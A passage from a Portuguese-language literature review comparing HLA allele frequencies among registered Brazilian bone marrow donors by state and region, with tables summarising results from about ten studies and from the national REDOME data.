<p class="wp-block-paragraph">Nesse sentido, desenvolveram-se métodos de alta resolução para tipagem&nbsp;HLA, permitindo que os pesquisadores definam a distribuição de alelos de HLA dentro de uma população, processo que facilita a doação de medula entre indivíduos, tanto aparentados, quanto não aparentados. Desse modo, com o intuito de facilitar a identificação de um potencial doador,&nbsp; foram criados, ao redor do mundo, bancos de cadastro para doação de medula óssea, no Brasil, tem-se o Registro Brasileiro de&nbsp;Doadores Voluntários de Medula Óssea (REDOME), que atualmente conta com&nbsp;6.042.623 inscritos (REDOME, NOVEMBRO DE 2025).</p>



<p class="wp-block-paragraph"><strong>2.</strong><strong> </strong><strong>OBJETIVOS&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>2.1 Geral&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">Comparar as frequências alélicas em nível estadual e nacional dos genes HLA para os <em>loci</em> HLA-A, HLA-B, HLA-DRB1 e HLA-DQB1.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2 Específicos&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">Avaliar as diferenças territoriais e de níveis de resolução como impacto nas prevalências dos <em>loci </em>-A, -B, -DR e -DQ.&nbsp;</p>



<p class="wp-block-paragraph">Catalogar quais os alelos mais prevalentes encontrados nas variadas populações do Brasil.&nbsp;</p>



<p class="wp-block-paragraph">Comparar as frequências encontradas com os bancos de dados mundiais de tipagem HLA.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.</strong><strong> </strong><strong>METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente estudo trata-se de uma revisão bibliográfica, visando identificar qual a prevalência dos alelos HLA encontrados no Brasil, para isso foram utilizadas as bases de dados MEDLINE (via Pubmed), Scielo e LILACS, usando as palavras chaves HLA allele frequency, bone marrow e Brazil e para refinar as buscas foi utilizado o operador booleano “AND”. Como forma de otimizar a seleção da literatura, esses foram tabelados no software Excel. Em seguida, houve exclusão das duplicatas e dos títulos que não estivessem alinhados à temática.&nbsp;</p>



<p class="wp-block-paragraph">Além disso, foram selecionados, somente, trabalhos originais em que foram catalogadas as frequências alélicas de estados brasileiros. Não houve restrição de idioma ou período de publicação. A tabela 1 mostra o número total de artigos encontrados e em quais bases de dados pertencem.&nbsp;Tabela 1: Número de artigos encontrados e suas respectivas bases de dados.</p>



<figure class="wp-block-table"><table><tbody><tr><td class="has-text-align-center" data-align="center"><strong>Base de dados&nbsp;</strong></td><td class="has-text-align-center" data-align="center"><strong>Palavras chaves&nbsp;</strong></td><td class="has-text-align-center" data-align="center"><strong>Números de artigos encontrados&nbsp;</strong></td></tr><tr><td class="has-text-align-center" data-align="center">Medline (via Pubmed)&nbsp;</td><td class="has-text-align-center" data-align="center">HLA allele Frequency AND bone marrow AND Brazil&nbsp;</td><td class="has-text-align-center" data-align="center">37&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">Scielo&nbsp;</td><td class="has-text-align-center" data-align="center">HLA allele Frequency AND bone marrow AND Brazil&nbsp;</td><td class="has-text-align-center" data-align="center">2&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">LILACS&nbsp;</td><td class="has-text-align-center" data-align="center">HLA allele Frequency AND bone marrow AND Brazil&nbsp;</td><td class="has-text-align-center" data-align="center">37&nbsp;</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Autores, 2025.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong><strong> </strong><strong>RESULTADOS E DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">Dos 76 trabalhos encontrados e tabelados no <em>software</em> Excel, foi realizada a remoção das duplicatas, restando 42 artigos. A partir daí, foram selecionados os artigos cujos títulos e resumos se enquadrassem na temática analisada, restando 12 artigos. Entretanto, um desses artigos não pôde ser lido na íntegra, outro, se tratava do mesmo tema com publicações em formatos diferentes, e assim, foram excluídos da análise. Ou seja, restando 10 trabalhos na temática dessa revisão, como mostra na figura 1.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1</strong>: Fluxograma da metodologia aplicada para a seleção dos artigos.</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="782" height="1024" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-240-782x1024.jpeg" alt="" class="wp-image-249541" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-240-782x1024.jpeg 782w, https://revistaft.com.br/wp-content/uploads/2025/11/image-240-229x300.jpeg 229w, https://revistaft.com.br/wp-content/uploads/2025/11/image-240-768x1005.jpeg 768w, https://revistaft.com.br/wp-content/uploads/2025/11/image-240.jpeg 891w" sizes="(max-width: 782px) 100vw, 782px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Autores, 2025.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nas análises, foi observado que a distribuição entre as regiões do País inclui:&nbsp;três para o Sudeste (dois para São Paulo e um para o Rio de Janeiro), dois para o Sul (um para o Rio Grande do Sul e um para o Paraná), dois para o Nordeste (um para o Rio grande do Norte e um para o Piauí), somente um para a região Norte, sendo este para o estado do Pará e 3 estudos em âmbito nacional. Desse modo, nota-se que as regiões menos representadas são as constituintes do eixo Norte-Nordeste.&nbsp;</p>



<p class="wp-block-paragraph">Bihl e colaboradores (2006), esclarecem que os alelos de genes HLA são identificados com base na sequência de nucleotídeos de sua extensão, onde cada sequência receba identificação de, no mínimo, quatro dígitos. Os dois primeiros dígitos referem-se à identificação sorológica, os terceiros e quartos dígitos, compreendem subtipos dentro da mesma linhagem, de forma que, os números são dados de acordo com a ordem de descoberta das sequências. Alelos que apresentam diferenças nucleotídicas sinônimas, mas codificam a mesma proteína são diferenciados pelos quintos e sextos dígitos.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Sob essa ótica, os artigos selecionados para comparação das frequências alélicas utilizaram tipagens em um, dois campos e três campos de resolução, aumentando assim o escopo da análise realizada. Dos artigos selecionados, nove são de um campo, um de dois campos e um de três campos. Além desses, um dos artigos selecionados faz a comparação de dois e três campos de resolução simultaneamente. Esse levantamento é mostrado na tabela 2, indicando estudos que abrangem a região Sudeste.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 2:</strong> Frequências alélicas para os loci HLA, A, B, DRB1 e DQB1 oriundos da região Sudeste.</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td class="has-text-align-center" data-align="center">Ayo e colaboradores&nbsp;(2014)&nbsp;</td><td class="has-text-align-center" data-align="center">Frequência(%)&nbsp;</td><td class="has-text-align-center" data-align="center">Salvadori e colaboradores&nbsp;(2014)&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">Frequência(%)&nbsp;</td><td class="has-text-align-center" data-align="center">Vianna e colaboradores&nbsp;(2020)&nbsp;</td><td class="has-text-align-center" data-align="center">Frequên cia(%)&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">A*02&nbsp;</td><td class="has-text-align-center" data-align="center">24,9&nbsp;</td><td class="has-text-align-center" data-align="center">A*02&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">26,3&nbsp;</td><td class="has-text-align-center" data-align="center">A*02:01:01&nbsp;</td><td class="has-text-align-center" data-align="center">20,3&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">A*01&nbsp;</td><td class="has-text-align-center" data-align="center">10,2&nbsp;</td><td class="has-text-align-center" data-align="center">A*24&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">9,8&nbsp;</td><td class="has-text-align-center" data-align="center">A*01:01:01&nbsp;</td><td class="has-text-align-center" data-align="center">9,5&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">A*24&nbsp;</td><td class="has-text-align-center" data-align="center">9,5&nbsp;</td><td class="has-text-align-center" data-align="center">A*03&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">9,4&nbsp;</td><td class="has-text-align-center" data-align="center">A*03:01:01&nbsp;</td><td class="has-text-align-center" data-align="center">8,4&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">B*35&nbsp;</td><td class="has-text-align-center" data-align="center">12&nbsp;</td><td class="has-text-align-center" data-align="center">B*35&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">12&nbsp;</td><td class="has-text-align-center" data-align="center">B*51:01:01&nbsp;</td><td class="has-text-align-center" data-align="center">7,30&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">B*44&nbsp;</td><td class="has-text-align-center" data-align="center">10,5&nbsp;</td><td class="has-text-align-center" data-align="center">B*44&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">10,6&nbsp;</td><td class="has-text-align-center" data-align="center">B*44:03:01&nbsp;</td><td class="has-text-align-center" data-align="center">6,5&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">B*15&nbsp;</td><td class="has-text-align-center" data-align="center">8,7&nbsp;</td><td class="has-text-align-center" data-align="center">B*51&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">8,3&nbsp;</td><td class="has-text-align-center" data-align="center">B*07:02:01&nbsp;</td><td class="has-text-align-center" data-align="center">5,4&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">DRB1*13&nbsp;</td><td class="has-text-align-center" data-align="center">13,8&nbsp;</td><td class="has-text-align-center" data-align="center">DRB1*07&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">14,9&nbsp;</td><td class="has-text-align-center" data-align="center">DRB1*07:01:01&nbsp;</td><td class="has-text-align-center" data-align="center">13,5&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">DRB1*11&nbsp;</td><td class="has-text-align-center" data-align="center">13,6&nbsp;</td><td class="has-text-align-center" data-align="center">DRB1*11&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">12,9&nbsp;</td><td class="has-text-align-center" data-align="center">DRB1*03:01:01&nbsp;</td><td class="has-text-align-center" data-align="center">8,9&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">DRB1*07&nbsp;</td><td class="has-text-align-center" data-align="center">13,1&nbsp;</td><td class="has-text-align-center" data-align="center">DRB1*13&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">12,9&nbsp;</td><td class="has-text-align-center" data-align="center">DRB1*13:01:01&nbsp;</td><td class="has-text-align-center" data-align="center">6,5&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">&#8211;&nbsp;</td><td class="has-text-align-center" data-align="center">&#8211;&nbsp;</td><td class="has-text-align-center" data-align="center">&#8211;&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">&#8211;&nbsp;</td><td class="has-text-align-center" data-align="center">DQB1*03:01:01&nbsp;</td><td class="has-text-align-center" data-align="center">15,25&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">&#8211;&nbsp;</td><td class="has-text-align-center" data-align="center">&#8211;&nbsp;</td><td class="has-text-align-center" data-align="center">&#8211;&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">&#8211;&nbsp;</td><td class="has-text-align-center" data-align="center">DQB1*05:01:01&nbsp;</td><td class="has-text-align-center" data-align="center">13,88&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">&#8211;&nbsp;</td><td class="has-text-align-center" data-align="center">&#8211;&nbsp;</td><td class="has-text-align-center" data-align="center">&#8211;&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">&#8211;&nbsp;</td><td class="has-text-align-center" data-align="center">DQB1*02:02:01&nbsp;</td><td class="has-text-align-center" data-align="center">12,40&nbsp;</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Elaborada pelos autores com dados extraídos de Ayo e colaboradores (2014); Salvadori e colaboradores (2014); Vianna e colaboradores (2020).</p>



<p class="wp-block-paragraph">Em primeiro plano, evidencia-se o número de alelos encontrados em cada loci em seu respectivo estudo. Os trabalhos de Ayo e colaboradores (2014) e Salvadori e colaboradores (2014), avaliaram a população do estado de São Paulo em diferentes localidades, o primeiro artigo citado, tem seu n° amostral oriundo da região noroeste do estado, contando com 1.559 doadores cadastrados no REDOME. Já o segundo artigo, a população amostral é do município de Bauru, localizado no centro-oeste do estado, possuindo um número de 3.542 doadores. Ambos realizaram sua análise em um campo de resolução, catalogando 20 alelos HLA-A, 32 alelos HLA-B e 13 alelos HLA-DRB1 para a população do noroeste do estado. Para a população de Bauru, o número de alelos encontrados foram o mesmo para o HLA-A e HLA-DRB1, variando somente o número do HLA-B, sendo este 36.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nesse sentido, é possível entender que, as substituições de aminoácidos afetam o repertório de ligação a peptídeos de forma mais significativa nas moléculas de HLA-B, em comparação com outras moléculas de HLA. De maneira que, mutações de ponto no HLA-B são capazes modificar o repertório de ligação a peptídeos desse gene, aumentando a heterozigose, culminando na produção de maiores variabilidades HLA-B na superfície celular da maioria dos indivíduos (Silva, 2021). Além disso, observa-se que o maior número amostral é o do estudo da população do município de Bauru, aumentando assim as chances de identificação de um maior número de alelos.&nbsp; Outra relação referente aos estudos supracitados, diz respeito aos outros loci analisados. Nesse caso, nota-se que ocorreu uma variação de prevalência do alelo A*03, que na população bauruense possui a terceira maior prevalência, já em comparação com o noroeste do estado este é o quarto alelo mais prevalente. Sobre o loci de classe II, os mesmos alelos compõem as três maiores prevalências, mudando somente sua respectiva posição.&nbsp;</p>



<p class="wp-block-paragraph">O trabalho de Vianna e colaboradores (2020), avaliou a população de duas cidades do estado do Rio de Janeiro, Barra Mansa e capital, possuindo um número amostral de 1.435 doadores, também cadastrados no REDOME, entretanto nesse trabalho foi realizado a tipagem para 3 campos de resolução, encontrando 58 alelos HLA-A, 114 alelos HLA-B, 61 HLA-DRB1 e 28 HLA-DQB1. Esse tipo de análise é explicado por Choi e colaboradores (2024) que afirmam que quanto maior a resolução utilizada, maior será o número de subtipos HLA encontrados. Outra alteração causada pelo aumento da resolução é a diminuição das prevalências encontradas, fato esse explicado pelo mesmo motivo.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nesse trabalho, também foi realizada a tipagem dos alelos respectivos ao loci HLA-DQB1, sendo esse o loci com menos subtipos encontrados. Esse achado corrobora com o observado nos bancos de dados internacionais de referência, o&nbsp; IPDIMGT/HLA Database, até o momento, como mostrado na tabela 3.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 3</strong>: N° de alelos encontrados no banco de dados IPD-IMGT/HLA Database. Locus</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td class="has-text-align-center" data-align="center">Locus</td><td class="has-text-align-center" data-align="center">N° de alelos encontrados</td></tr><tr><td class="has-text-align-center" data-align="center">A</td><td class="has-text-align-center" data-align="center">8.949</td></tr><tr><td class="has-text-align-center" data-align="center">B</td><td class="has-text-align-center" data-align="center">10.680</td></tr><tr><td class="has-text-align-center" data-align="center">DRB1</td><td class="has-text-align-center" data-align="center">3.892</td></tr><tr><td class="has-text-align-center" data-align="center">DQB1</td><td class="has-text-align-center" data-align="center">2.924</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Dados IPD-IMGT/HLA Database.&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;Com relação aos Estados do eixo Norte-Nordeste, os trabalhos foram realizados somente para um campo de resolução, os resultados das prevalências encontradas estão descritos na tabela 4.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 4</strong>: Frequências alélicas para os loci HLA, A, B e DRB1 oriundos do eixo Norte-Nordeste.</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td class="has-text-align-center" data-align="center">Macêdo e colaboradores&nbsp;(2014)&nbsp;</td><td class="has-text-align-center" data-align="center">Frequência(%)&nbsp;</td><td class="has-text-align-center" data-align="center">Carvalho e colaboradores&nbsp;(2013)&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">Frequência(%)&nbsp;</td><td class="has-text-align-center" data-align="center">Mendonça-Mattos e colaboradores&nbsp;(2023)&nbsp;</td><td class="has-text-align-center" data-align="center">Frequência(%)&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">A*02&nbsp;</td><td class="has-text-align-center" data-align="center">25,4&nbsp;</td><td class="has-text-align-center" data-align="center">A*02&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">25,4&nbsp;</td><td class="has-text-align-center" data-align="center">A*02&nbsp;</td><td class="has-text-align-center" data-align="center">23,8&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">A*24&nbsp;</td><td class="has-text-align-center" data-align="center">10,2&nbsp;</td><td class="has-text-align-center" data-align="center">A*24&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">9&nbsp;</td><td class="has-text-align-center" data-align="center">A*24&nbsp;</td><td class="has-text-align-center" data-align="center">12,4&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">A*01&nbsp;</td><td class="has-text-align-center" data-align="center">8,6&nbsp;</td><td class="has-text-align-center" data-align="center">A*03&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">7,8&nbsp;</td><td class="has-text-align-center" data-align="center">A*31&nbsp;</td><td class="has-text-align-center" data-align="center">9,5&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">B*44&nbsp;</td><td class="has-text-align-center" data-align="center">11,2&nbsp;</td><td class="has-text-align-center" data-align="center">B*15&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">11,2&nbsp;</td><td class="has-text-align-center" data-align="center">B*35&nbsp;</td><td class="has-text-align-center" data-align="center">15,2&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">B*35&nbsp;</td><td class="has-text-align-center" data-align="center">10,7&nbsp;</td><td class="has-text-align-center" data-align="center">B*35&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">10,8&nbsp;</td><td class="has-text-align-center" data-align="center">B*15&nbsp;</td><td class="has-text-align-center" data-align="center">10,3&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">B*15&nbsp;</td><td class="has-text-align-center" data-align="center">9,7&nbsp;</td><td class="has-text-align-center" data-align="center">B*44&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">10&nbsp;</td><td class="has-text-align-center" data-align="center">B*44&nbsp;</td><td class="has-text-align-center" data-align="center">9,6&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">DRB1*13&nbsp;</td><td class="has-text-align-center" data-align="center">15,5&nbsp;</td><td class="has-text-align-center" data-align="center">DRB1*13&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">13,7&nbsp;</td><td class="has-text-align-center" data-align="center">DRB1*04&nbsp;</td><td class="has-text-align-center" data-align="center">15&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">DRB1*04&nbsp;</td><td class="has-text-align-center" data-align="center">14&nbsp;</td><td class="has-text-align-center" data-align="center">DRB1*04&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">13,4&nbsp;</td><td class="has-text-align-center" data-align="center">DRB1*13&nbsp;</td><td class="has-text-align-center" data-align="center">12,1&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">DRB1*07&nbsp;</td><td class="has-text-align-center" data-align="center">12&nbsp;</td><td class="has-text-align-center" data-align="center">DRB1*07&nbsp;</td><td class="has-text-align-center" data-align="center" colspan="2">12,5&nbsp;</td><td class="has-text-align-center" data-align="center">DRB1*07&nbsp;</td><td class="has-text-align-center" data-align="center">11,2&nbsp;</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Elaborada pelos autores com dados extraídos de Macêdo e colaboradores (2014); Carvalho e colaboradores (2013); Mendonça-Mattos e colaboradores (2020).</p>



<p class="wp-block-paragraph">As tipagens realizadas para os loci HLA-B e HLA-DRB1 nos três estudos, catalogaram os mesmos alelos, variando somente a posição entre as três maiores prevalências. Ressalta-se o achado de um tipo HLA-A não observado entre as três maiores prevalências dos estudos analisados, sendo este o A*31, o qual representa a terceira maior prevalência no trabalho de Mendonça-Mattos e colaboradores (2020), o qual foi realizado com 5000 doadores de medula óssea no estado do Pará, cadastrados no REDOME. Salienta-se que este foi o único trabalho encontrado que analisou o perfil dos doadores do Norte do Brasil.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">De acordo com Nunes e colaboradores (2025), as populações de estados como Pará e Amazonas são constituídas de uma porção maior de indivíduos de etnia indígena, fator que os diferencia das demais populações analisadas nesta revisão, fato que pode estar associado a maior prevalência do alelo A*31 no Pará. Estabelecendo uma comparação entre o percentual do A*31 encontrado no estudo em questão, com o banco de dados <em>Allele Frequency Net Database</em>, o qual armazena dados referentes às mais diversas populações ao redor do mundo, é possível observar que a prevalência encontrada no banco de dados do estado do Pará que possui&nbsp;72.637 doadores cadastrados é exatamente a mesma, sendo de 9,5%.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Os trabalhos analisados com populações do Sul do país utilizaram-se de tipagens de um campo de resolução. Evidencia-se que entre os dois estudos mostrados na tabela 4, os mesmos alelos estiveram mais presentes nas amostras analisadas, mudando somente suas posições de domínio entre os três mais prevalentes. Esse achado pode ser explicado, em contexto histórico, pelas semelhantes constituições populacionais desses estados, já que no trabalho de Bardi e colaboradores (2011), mais de 82% dos 3.978 doadores analisados, identificam-se como caucasianos e no estudo de Bortolotto e colaboradores (2011) mais de 88% dos&nbsp;5.000 doadores também possuem essa mesma autodeclaração étnico-racial.&nbsp;&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 4:</strong> Frequências alélicas para os loci HLA, A, B e DRB1 oriundos da região Sul do país.</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td class="has-text-align-center" data-align="center">Bardi e colaboradores&nbsp;(2011)&nbsp;</td><td class="has-text-align-center" data-align="center">Frequência(%)&nbsp;</td><td class="has-text-align-center" data-align="center">Bortolotto e colaboradores&nbsp;(2011)&nbsp;</td><td class="has-text-align-center" data-align="center">Frequência(%)&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">A*02&nbsp;</td><td class="has-text-align-center" data-align="center">27&nbsp;</td><td class="has-text-align-center" data-align="center">A*02&nbsp;</td><td class="has-text-align-center" data-align="center">27,8&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">A*24&nbsp;</td><td class="has-text-align-center" data-align="center">10,8&nbsp;</td><td class="has-text-align-center" data-align="center">A*03&nbsp;</td><td class="has-text-align-center" data-align="center">10,4&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">A*03&nbsp;</td><td class="has-text-align-center" data-align="center">10,3&nbsp;</td><td class="has-text-align-center" data-align="center">A*24&nbsp;</td><td class="has-text-align-center" data-align="center">10,3&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">B*35&nbsp;</td><td class="has-text-align-center" data-align="center">13,9&nbsp;</td><td class="has-text-align-center" data-align="center">B*35&nbsp;</td><td class="has-text-align-center" data-align="center">12,5&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">B*44&nbsp;</td><td class="has-text-align-center" data-align="center">11,1&nbsp;</td><td class="has-text-align-center" data-align="center">B*44&nbsp;</td><td class="has-text-align-center" data-align="center">12&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">B*51&nbsp;</td><td class="has-text-align-center" data-align="center">9&nbsp;</td><td class="has-text-align-center" data-align="center">B*51&nbsp;</td><td class="has-text-align-center" data-align="center">8,7&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">DRB1*11&nbsp;</td><td class="has-text-align-center" data-align="center">14,7&nbsp;</td><td class="has-text-align-center" data-align="center">DRB1*13&nbsp;</td><td class="has-text-align-center" data-align="center">13,7&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">DRB1*13&nbsp;</td><td class="has-text-align-center" data-align="center">13,6&nbsp;</td><td class="has-text-align-center" data-align="center">DRB1*07&nbsp;</td><td class="has-text-align-center" data-align="center">13,1&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">DRB1*07</td><td class="has-text-align-center" data-align="center">13</td><td class="has-text-align-center" data-align="center">DRB1*04</td><td class="has-text-align-center" data-align="center">12,4</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Elaborada pelos autores com dados extraídos de Bardi e colaboradores (2011); Bortolotto e colaboradores (2011).</p>



<p class="wp-block-paragraph">Dessa forma, a autodeclaração dessas populações, segundo Nunes e colaboradores (2025) é condizente com o processo imigratório, que ocorreu na região no século XIX, com enfoque na carga genética de populações europeias diferentes das até então residentes no Brasil inteiro, como de italianos e alemães.&nbsp;</p>



<p class="wp-block-paragraph">Estudos que trataram dessa temática em âmbito nacional em níveis de resolução diferentes como, o trabalho de Guimarães (2015) avaliou os 3.038.286 doadores voluntários de medula óssea, cadastrados no REDOME de 2003 até julho de 2014, avaliando os indivíduos de todo o país e estabelecendo comparativos entre as regiões brasileiras, os resultados das três maiores prevalências encontradas nesse trabalho estão listados na tabela 5.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 5:</strong> Frequências alélicas para os loci HLA, A, B e DRB1 em âmbito nacional.</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Norte&nbsp;</td><td>Frequên cia(%)&nbsp;</td><td>Nordeste&nbsp;</td><td>Frequência(%)&nbsp;</td><td>C. Oeste&nbsp;</td><td>Frequên cia(%)&nbsp;</td><td>Sudeste&nbsp;</td><td>Frequên cia(%)&nbsp;</td><td>Sul&nbsp;</td><td>Frequência(%)&nbsp;</td></tr><tr><td colspan="2">A*02&nbsp;</td><td>25,8&nbsp;</td><td>A*02&nbsp;</td><td>25,2&nbsp;</td><td>A*02&nbsp;</td><td>25,7&nbsp;</td><td>A*02&nbsp;</td><td>25,5&nbsp;</td><td>A*02&nbsp;</td><td>27&nbsp;</td></tr><tr><td colspan="2">A*24&nbsp;</td><td>11,6&nbsp;</td><td>A*24&nbsp;</td><td>9,7&nbsp;</td><td>A*24&nbsp;</td><td>9,7&nbsp;</td><td>A*24&nbsp;</td><td>9,8&nbsp;</td><td>A*03&nbsp;</td><td>10&nbsp;</td></tr><tr><td colspan="2">A*31&nbsp;</td><td>7,8&nbsp;</td><td>A*03&nbsp;</td><td>8,2&nbsp;</td><td>A*01&nbsp;</td><td>9&nbsp;</td><td>A*03&nbsp;</td><td>9,2&nbsp;</td><td>A*24&nbsp;</td><td>10&nbsp;</td></tr><tr><td colspan="2">B*35&nbsp;</td><td>12,8&nbsp;</td><td>B*35&nbsp;</td><td>10,7&nbsp;</td><td>B*35&nbsp;</td><td>11,5&nbsp;</td><td>B*35&nbsp;</td><td>11,8&nbsp;</td><td>B*35&nbsp;</td><td>12,2&nbsp;</td></tr><tr><td colspan="2">B*15&nbsp;</td><td>10&nbsp;</td><td>B*44&nbsp;</td><td>10&nbsp;</td><td>B*44&nbsp;</td><td>10&nbsp;</td><td>B*44&nbsp;</td><td>10&nbsp;</td><td>B*44&nbsp;</td><td>11,2&nbsp;</td></tr><tr><td colspan="2">B*44&nbsp;</td><td>9,6&nbsp;</td><td>B*15&nbsp;</td><td>10&nbsp;</td><td>B*15&nbsp;</td><td>9,3&nbsp;</td><td>B*15&nbsp;</td><td>8,8&nbsp;</td><td>B*51&nbsp;</td><td>8,6&nbsp;</td></tr><tr><td colspan="2">DRB1*04&nbsp;</td><td>14,6&nbsp;</td><td>DRB1*13&nbsp;</td><td>14,1&nbsp;</td><td>DRB1*13&nbsp;</td><td>13,5&nbsp;</td><td>DRB1*13&nbsp;</td><td>13,4&nbsp;</td><td>DRB1*13&nbsp;</td><td>13&nbsp;</td></tr><tr><td colspan="2">DRB1*13&nbsp;</td><td>12,5&nbsp;</td><td>DRB1*04&nbsp;</td><td>13,1&nbsp;</td><td>DRB1*07&nbsp;</td><td>13&nbsp;</td><td>DRB1*07&nbsp;</td><td>13,1&nbsp;</td><td>DRB1*07&nbsp;</td><td>13&nbsp;</td></tr><tr><td colspan="2">DRB1*07&nbsp;</td><td>11,6&nbsp;</td><td>DRB1*07&nbsp;</td><td>12,6&nbsp;</td><td>DRB1*04&nbsp;</td><td>12,8&nbsp;</td><td>DRB1*11&nbsp;</td><td>12,9&nbsp;</td><td>DRB1*11&nbsp;</td><td>12,8&nbsp;</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Elaborada pelos autores com dados extraídos de Guimarães (2015).</p>



<p class="wp-block-paragraph">Guimarães (2015), tem em seu artigo, o n° amostral bastante satisfatório, sendo possível estabelecer uma comparação estatística com os trabalhos a nível estadual acima relatados. Relacionando-o com a população do estado do Pará no estudo de Mendonça-Mattos e colaboradores (2023), observa-se que os mesmos alelos foram encontrados nas mesmas posições e o A*31 segue como o terceiro alelo mais prevalente, tanto na população paraense, quanto na região Norte. Para comparação com os estudos da região Nordeste as prevalências relatadas foram similares, alterando somente suas posições entre as três maiores prevalências. A única variação encontrada foi o alelo A*01, relatado como o terceiro mais prevalente no estudo de Macêdo e colaboradores (2014), entretanto a variação de prevalência entre esse alelo e o A*03, que assumiu a terceira maior prevalência nos trabalhos usados na comparação, foi menor que 1%.&nbsp;</p>



<p class="wp-block-paragraph">Um dado relevante de Guimarães (2015), foi a catalogação da frequência alélica para a região Centro-Oeste como um todo, uma vez que, não foram encontrados artigos que abordassem a população dos seus entes federativos. Nesse sentido, é possível evidenciar a similaridade dos dados dessa região com os catalogados nas regiões Norte-Nordeste, com destaque para o Nordeste, tendo em vista que o mesmo achado sobre a alternância da prevalência entre os alelos A*01 e A*03, foi visto nessas populações.&nbsp;</p>



